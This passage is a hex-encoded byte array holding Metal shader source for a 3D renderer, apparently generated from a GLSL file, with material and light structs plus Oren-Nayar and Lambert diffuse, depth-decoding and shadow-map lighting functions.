0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6d,0x61,0x74,
0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x33,0x20,0x6d,0x61,0x74,0x5f,0x73,0x70,0x65,0x63,0x75,0x6c,0x61,
0x72,0x3b,0x0a,0x20,0x20,0x20,0x20,0x70,0x61,0x63,0x6b,0x65,0x64,0x5f,0x66,0x6c,
0x6f,0x61,0x74,0x33,0x20,0x6d,0x61,0x74,0x5f,0x65,0x6d,0x69,0x73,0x73,0x69,0x6f,
0x6e,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x6d,0x61,0x74,
0x5f,0x73,0x68,0x69,0x6e,0x69,0x6e,0x65,0x73,0x73,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x20,0x6d,0x61,0x74,0x5f,0x72,0x6f,0x75,0x67,0x68,0x6e,
0x65,0x73,0x73,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,
0x66,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x75,0x5f,0x74,0x69,0x6d,0x65,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x75,0x5f,0x72,0x65,0x73,0x6f,
0x6c,0x75,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x33,0x20,0x75,0x56,0x69,0x65,0x77,0x50,0x6f,0x73,0x3b,0x0a,0x7d,0x3b,0x0a,
0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x61,
0x72,0x61,0x6d,0x73,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x33,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6c,0x69,0x67,
0x68,0x74,0x5f,0x61,0x6d,0x62,0x69,0x65,0x6e,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x66,
0x66,0x75,0x73,0x65,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x73,0x70,0x65,0x63,0x75,0x6c,0x61,0x72,0x3b,
0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x6c,0x69,0x67,0x68,
0x74,0x32,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,
0x70,0x61,0x63,0x6b,0x65,0x64,0x5f,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6c,0x69,
0x67,0x68,0x74,0x32,0x5f,0x70,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,
0x72,0x61,0x64,0x69,0x75,0x73,0x3b,0x0a,0x20,0x20,0x20,0x20,0x70,0x61,0x63,0x6b,
0x65,0x64,0x5f,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6c,0x69,0x67,0x68,0x74,0x32,
0x5f,0x61,0x6d,0x62,0x69,0x65,0x6e,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x20,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x66,0x61,0x6c,0x6c,0x6f,
0x66,0x66,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6c,
0x69,0x67,0x68,0x74,0x32,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6c,0x69,0x67,0x68,0x74,0x32,
0x5f,0x73,0x70,0x65,0x63,0x75,0x6c,0x61,0x72,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,
0x74,0x72,0x75,0x63,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x0a,
0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x66,0x72,0x61,
0x67,0x5f,0x63,0x6f,0x6c,0x6f,0x72,0x20,0x5b,0x5b,0x63,0x6f,0x6c,0x6f,0x72,0x28,
0x30,0x29,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,
0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,0x6e,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,
0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,0x30,0x29,0x5d,0x5d,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x76,0x4e,0x6f,
0x72,0x6d,0x61,0x6c,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,
0x31,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x20,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,
0x28,0x6c,0x6f,0x63,0x6e,0x32,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x34,0x20,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,
0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,0x33,0x29,0x5d,0x5d,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x76,0x5f,0x73,
0x68,0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,
0x28,0x6c,0x6f,0x63,0x6e,0x35,0x29,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x23,
0x6c,0x69,0x6e,0x65,0x20,0x31,0x39,0x36,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,
0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,
0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,
0x20,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x20,0x5f,0x5f,0x61,0x74,0x74,0x72,0x69,0x62,
0x75,0x74,0x65,0x5f,0x5f,0x28,0x28,0x61,0x6c,0x77,0x61,0x79,0x73,0x5f,0x69,0x6e,
0x6c,0x69,0x6e,0x65,0x29,0x29,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x6f,0x72,0x65,
0x6e,0x5f,0x6e,0x61,0x79,0x61,0x72,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x28,
0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x26,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,0x63,
0x74,0x69,0x6f,0x6e,0x2c,0x20,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,
0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x26,0x20,0x76,0x69,0x65,0x77,0x5f,
0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x74,0x68,0x72,0x65,0x61,
0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x26,0x20,
0x73,0x75,0x72,0x66,0x61,0x63,0x65,0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x2c,0x20,
0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x26,0x20,0x72,0x6f,0x75,0x67,0x68,0x6e,0x65,0x73,0x73,0x2c,0x20,0x74,
0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x26,0x20,0x61,0x6c,0x62,0x65,0x64,0x6f,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,
0x6e,0x65,0x20,0x31,0x39,0x36,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x39,
0x37,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,
0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,
0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x32,0x31,
0x39,0x20,0x3d,0x20,0x64,0x6f,0x74,0x28,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,
0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x73,0x75,0x72,0x66,0x61,0x63,0x65,
0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x29,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x31,0x39,0x38,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,
0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,
0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,
0x32,0x32,0x33,0x20,0x3d,0x20,0x64,0x6f,0x74,0x28,0x73,0x75,0x72,0x66,0x61,0x63,
0x65,0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x2c,0x20,0x76,0x69,0x65,0x77,0x5f,0x64,
0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x20,0x5f,0x32,0x32,0x39,0x20,0x3d,0x20,0x64,0x6f,0x74,0x28,
0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2c,
0x20,0x76,0x69,0x65,0x77,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x29,
0x20,0x2d,0x20,0x28,0x5f,0x32,0x31,0x39,0x20,0x2a,0x20,0x5f,0x32,0x32,0x33,0x29,
0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x30,0x33,0x20,0x22,0x73,0x72,0x63,
0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,
0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x32,0x34,0x30,0x20,0x3d,0x20,0x72,0x6f,
0x75,0x67,0x68,0x6e,0x65,0x73,0x73,0x20,0x2a,0x20,0x72,0x6f,0x75,0x67,0x68,0x6e,
0x65,0x73,0x73,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x30,0x37,0x20,0x22,
0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,
0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,
0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x28,0x28,0x61,0x6c,0x62,
0x65,0x64,0x6f,0x20,0x2a,0x20,0x66,0x61,0x73,0x74,0x3a,0x3a,0x6d,0x61,0x78,0x28,
0x30,0x2e,0x30,0x2c,0x20,0x5f,0x32,0x31,0x39,0x29,0x29,0x20,0x2a,0x20,0x28,0x28,
0x31,0x2e,0x30,0x20,0x2b,0x20,0x28,0x5f,0x32,0x34,0x30,0x20,0x2a,0x20,0x28,0x28,
0x61,0x6c,0x62,0x65,0x64,0x6f,0x20,0x2f,0x20,0x28,0x5f,0x32,0x34,0x30,0x20,0x2b,
0x20,0x30,0x2e,0x31,0x32,0x39,0x39,0x39,0x39,0x39,0x39,0x35,0x32,0x33,0x31,0x36,
0x32,0x38,0x34,0x31,0x37,0x39,0x36,0x38,0x37,0x35,0x29,0x29,0x20,0x2b,0x20,0x28,
0x30,0x2e,0x35,0x20,0x2f,0x20,0x28,0x5f,0x32,0x34,0x30,0x20,0x2b,0x20,0x30,0x2e,
0x33,0x33,0x30,0x30,0x30,0x30,0x30,0x31,0x33,0x31,0x31,0x33,0x30,0x32,0x31,0x38,
0x35,0x30,0x35,0x38,0x35,0x39,0x33,0x37,0x35,0x29,0x29,0x29,0x29,0x29,0x20,0x2b,
0x20,0x28,0x28,0x28,0x28,0x30,0x2e,0x34,0x34,0x39,0x39,0x39,0x39,0x39,0x38,0x38,
0x30,0x37,0x39,0x30,0x37,0x31,0x30,0x34,0x34,0x39,0x32,0x31,0x38,0x37,0x35,0x20,
0x2a,0x20,0x5f,0x32,0x34,0x30,0x29,0x20,0x2f,0x20,0x28,0x5f,0x32,0x34,0x30,0x20,
0x2b,0x20,0x30,0x2e,0x30,0x39,0x30,0x30,0x30,0x30,0x30,0x30,0x33,0x35,0x37,0x36,
0x32,0x37,0x38,0x36,0x38,0x36,0x35,0x32,0x33,0x34,0x33,0x37,0x35,0x29,0x29,0x20,
0x2a,0x20,0x5f,0x32,0x32,0x39,0x29,0x20,0x2f,0x20,0x6d,0x69,0x78,0x28,0x31,0x2e,
0x30,0x2c,0x20,0x66,0x61,0x73,0x74,0x3a,0x3a,0x6d,0x61,0x78,0x28,0x5f,0x32,0x31,
0x39,0x2c,0x20,0x5f,0x32,0x32,0x33,0x29,0x2c,0x20,0x73,0x74,0x65,0x70,0x28,0x30,
0x2e,0x30,0x2c,0x20,0x5f,0x32,0x32,0x39,0x29,0x29,0x29,0x29,0x29,0x20,0x2a,0x20,
0x30,0x2e,0x33,0x31,0x38,0x33,0x30,0x39,0x38,0x37,0x33,0x33,0x34,0x32,0x35,0x31,
0x34,0x30,0x33,0x38,0x30,0x38,0x35,0x39,0x33,0x37,0x35,0x3b,0x0a,0x7d,0x0a,0x0a,
0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x31,0x31,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,
0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,
0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x73,0x74,0x61,0x74,0x69,
0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x20,0x5f,0x5f,0x61,0x74,0x74,0x72,0x69,
0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,0x28,0x61,0x6c,0x77,0x61,0x79,0x73,0x5f,0x69,
0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x6c,0x61,
0x6d,0x62,0x65,0x72,0x74,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x28,0x74,0x68,
0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x33,0x26,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,
0x6f,0x6e,0x2c,0x20,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x26,0x20,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x29,
0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x31,0x31,0x20,0x22,0x73,0x72,
0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,
0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,
0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x64,0x6f,0x74,0x28,0x6e,0x6f,0x72,
0x6d,0x61,0x6c,0x2c,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,0x63,
0x74,0x69,0x6f,0x6e,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x35,0x36,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,
0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,
0x73,0x6c,0x22,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,
0x65,0x20,0x5f,0x5f,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,
0x28,0x61,0x6c,0x77,0x61,0x79,0x73,0x5f,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,
0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x64,0x65,0x63,0x6f,0x64,0x65,0x44,0x65,0x70,
0x74,0x68,0x28,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x34,0x26,0x20,0x72,0x67,0x62,0x61,0x29,0x0a,0x7b,0x0a,
0x23,0x6c,0x69,0x6e,0x65,0x20,0x35,0x36,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,
0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,
0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,
0x74,0x75,0x72,0x6e,0x20,0x64,0x6f,0x74,0x28,0x72,0x67,0x62,0x61,0x2c,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x34,0x28,0x31,0x2e,0x30,0x2c,0x20,0x30,0x2e,0x30,0x30,0x33,
0x39,0x32,0x31,0x35,0x36,0x38,0x38,0x35,0x39,0x33,0x36,0x38,0x35,0x36,0x32,0x36,
0x39,0x38,0x33,0x36,0x34,0x32,0x35,0x37,0x38,0x31,0x32,0x35,0x2c,0x20,0x31,0x2e,
0x35,0x33,0x37,0x38,0x37,0x30,0x30,0x34,0x38,0x31,0x39,0x36,0x30,0x35,0x34,0x39,
0x39,0x35,0x30,0x35,0x39,0x39,0x36,0x37,0x30,0x34,0x31,0x30,0x31,0x35,0x36,0x65,
0x2d,0x30,0x35,0x2c,0x20,0x36,0x2e,0x30,0x33,0x30,0x38,0x36,0x32,0x39,0x32,0x30,
0x31,0x36,0x39,0x39,0x36,0x35,0x39,0x34,0x36,0x31,0x31,0x35,0x35,0x35,0x33,0x33,
0x37,0x39,0x30,0x35,0x38,0x38,0x65,0x2d,0x30,0x38,0x29,0x29,0x3b,0x0a,0x7d,0x0a,
0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x36,0x35,0x20,0x22,0x73,0x72,0x63,0x2f,
0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,
0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x73,0x74,0x61,0x74,
0x69,0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x20,0x5f,0x5f,0x61,0x74,0x74,0x72,
0x69,0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,0x28,0x61,0x6c,0x77,0x61,0x79,0x73,0x5f,
0x69,0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x63,
0x61,0x6c,0x63,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x28,0x66,0x6c,0x6f,0x61,0x74,
0x20,0x63,0x6f,0x73,0x5f,0x74,0x68,0x65,0x74,0x61,0x2c,0x20,0x74,0x68,0x72,0x65,
0x61,0x64,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x26,0x20,0x76,0x5f,0x73,0x68,0x61,
0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x2c,0x20,0x74,0x68,0x72,0x65,0x61,0x64,0x20,
0x74,0x65,0x78,0x74,0x75,0x72,0x65,0x32,0x64,0x3c,0x66,0x6c,0x6f,0x61,0x74,0x3e,
0x20,0x75,0x5f,0x69,0x6d,0x61,0x67,0x65,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,
0x6d,0x61,0x70,0x2c,0x20,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,
0x74,0x20,0x73,0x61,0x6d,0x70,0x6c,0x65,0x72,0x20,0x75,0x5f,0x69,0x6d,0x61,0x67,
0x65,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x53,0x6d,0x70,0x6c,
0x72,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x36,0x35,0x20,0x22,
0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,
0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,
0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x5f,0x31,0x36,0x39,0x20,
0x3d,0x20,0x76,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x2e,0x78,
0x79,0x7a,0x20,0x2f,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x28,0x76,0x5f,0x73,0x68,
0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x2e,0x77,0x29,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x5f,0x31,0x37,0x39,0x20,0x3d,0x20,0x28,
0x5f,0x31,0x36,0x39,0x2e,0x78,0x79,0x20,0x2a,0x20,0x30,0x2e,0x35,0x29,0x20,0x2b,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x28,0x30,0x2e,0x35,0x29,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x5f,0x34,0x37,0x36,0x20,0x3d,0x20,
0x5f,0x31,0x37,0x39,0x3b,0x0a,0x20,0x20,0x20,0x20,0x5f,0x34,0x37,0x36,0x2e,0x79,
0x20,0x3d,0x20,0x31,0x2e,0x30,0x20,0x2d,0x20,0x5f,0x31,0x37,0x39,0x2e,0x79,0x3b,
0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x37,0x31,0x20,0x22,0x73,0x72,0x63,0x2f,
0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,
0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x23,0x6c,0x69,0x6e,
0x65,0x20,0x31,0x39,0x31,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,
0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,
0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x34,0x20,0x70,0x61,0x72,0x61,0x6d,0x20,0x3d,0x20,0x75,0x5f,0x69,0x6d,0x61,0x67,
0x65,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x2e,0x73,0x61,0x6d,
0x70,0x6c,0x65,0x28,0x75,0x5f,0x69,0x6d,0x61,0x67,0x65,0x5f,0x73,0x68,0x61,0x64,
0x6f,0x77,0x5f,0x6d,0x61,0x70,0x53,0x6d,0x70,0x6c,0x72,0x2c,0x20,0x5f,0x34,0x37,
0x36,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x73,
0x74,0x65,0x70,0x28,0x64,0x65,0x63,0x6f,0x64,0x65,0x44,0x65,0x70,0x74,0x68,0x28,
0x70,0x61,0x72,0x61,0x6d,0x29,0x2c,0x20,0x5f,0x31,0x36,0x39,0x2e,0x7a,0x20,0x2d,
0x20,0x28,0x30,0x2e,0x35,0x20,0x2a,0x20,0x66,0x61,0x73,0x74,0x3a,0x3a,0x63,0x6c,
0x61,0x6d,0x70,0x28,0x30,0x2e,0x30,0x30,0x34,0x39,0x39,0x39,0x39,0x39,0x39,0x38,
0x38,0x38,0x32,0x34,0x31,0x32,0x39,0x31,0x30,0x34,0x36,0x31,0x34,0x32,0x35,0x37,
0x38,0x31,0x32,0x35,0x20,0x2a,0x20,0x74,0x61,0x6e,0x28,0x61,0x63,0x6f,0x73,0x28,
0x63,0x6f,0x73,0x5f,0x74,0x68,0x65,0x74,0x61,0x29,0x29,0x2c,0x20,0x30,0x2e,0x30,
0x2c,0x20,0x30,0x2e,0x30,0x30,0x39,0x39,0x39,0x39,0x39,0x39,0x39,0x37,0x37,0x36,
0x34,0x38,0x32,0x35,0x38,0x32,0x30,0x39,0x32,0x32,0x38,0x35,0x31,0x35,0x36,0x32,
0x35,0x29,0x29,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,
0x35,0x32,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,
0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,
0x73,0x6c,0x22,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,
0x65,0x20,0x5f,0x5f,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,
0x28,0x61,0x6c,0x77,0x61,0x79,0x73,0x5f,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,
0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x63,0x61,0x6c,0x63,0x5f,0x73,0x70,0x65,0x63,
0x28,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x33,0x26,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x2c,
0x20,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x33,0x26,0x20,0x76,0x69,0x65,0x77,0x5f,0x64,0x69,0x72,0x2c,0x20,
0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x26,0x20,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x2c,0x20,0x63,0x6f,0x6e,
